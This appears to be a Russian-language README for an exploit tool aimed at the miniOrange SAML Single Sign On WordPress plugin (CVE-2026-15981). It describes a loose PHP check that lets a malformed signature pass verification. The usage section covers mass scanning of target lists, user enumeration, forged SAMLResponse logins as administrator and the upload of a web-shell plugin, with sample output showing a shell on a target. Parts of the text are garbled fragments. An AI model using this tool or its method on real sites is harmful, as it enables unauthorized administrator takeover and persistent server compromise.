
SAML Single Sign On <= 5.4.4 - Неаутентифицированный обход аутентификации через параметр SAMLResponse
SAML Single Sign On <= 5.4.4 — Неаутентифицированный обход аутентификации через параметр SAMLResponse
Эксплойт Proof-of-Concept
Некорректная подпись → openssl_verify() возвращает -1 → нестрогое приведение PHP к true → wp_set_auth_cookie() как администратор
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-15981 |
| Затронутый плагин | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Затронутые версии | Все версии до 5.4.4 включительно |
| Тип | Неаутентифицированный обход аутентификации |
| CWE | CWE-287: Некорректная аутентификация / CWE-305: Обход аутентификации из-за первичной слабости |
| CVSS 3.1 | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Не требуется |
Плагин SAML Single Sign On – SSO Login для WordPress уязвим к обходу аутентификации во всех версиях до 5.4.4 включительно. Причина — функция mo_saml_validate_signature() выполняет нестрогую логическую проверку необработанного трёхзначного целого числа, возвращаемого PHP-функцией openssl_verify(), из-за чего ошибочное возвращаемое значение -1 оценивается как истинное и, следовательно, считается успешной проверкой подписи.
Это позволяет неаутентифицированным атакующим войти под учётной записью любого существующего пользователя WordPress, включая администраторов, путём отправки специально сформированного SAMLResponse, содержащего NameID под контролем атакующего и намеренно некорректное значение подписи, которое вызывает ошибку обработки OpenSSL, — полностью обходя проверку и приводя к вызову wp_set_auth_cookie() для целевой учётной записи.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
Исправление тривиально — if ($result === 1) вместо if ($result), — но последствия уязвимости — полный обход аутентификации.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login и извлекает базовые URL IdPlxml</Issuer> согласно спецификации SAMLopenssl_verify() = -1wordpress_logged_in_* после каждой попытки/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD в теле ответаPython >= 3.8
pip install requests lxml
lxmlобязателен для корректной канонизации Exclusive C14N утверждения SAML.
python CVE-2026-15981.py
Программа запросит следующие данные:
| Запрос | Описание | По умолчанию |
|---|---|---|
| Файл с целями | Путь к текстовому файлу с одной целью в строке | list.txt |
| Потоки | Количество параллельных потоков (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Один URL в строке. Если схема не указана, по умолчанию используется HTTP.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Каждая цель проходит 7 помеченных этапов:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...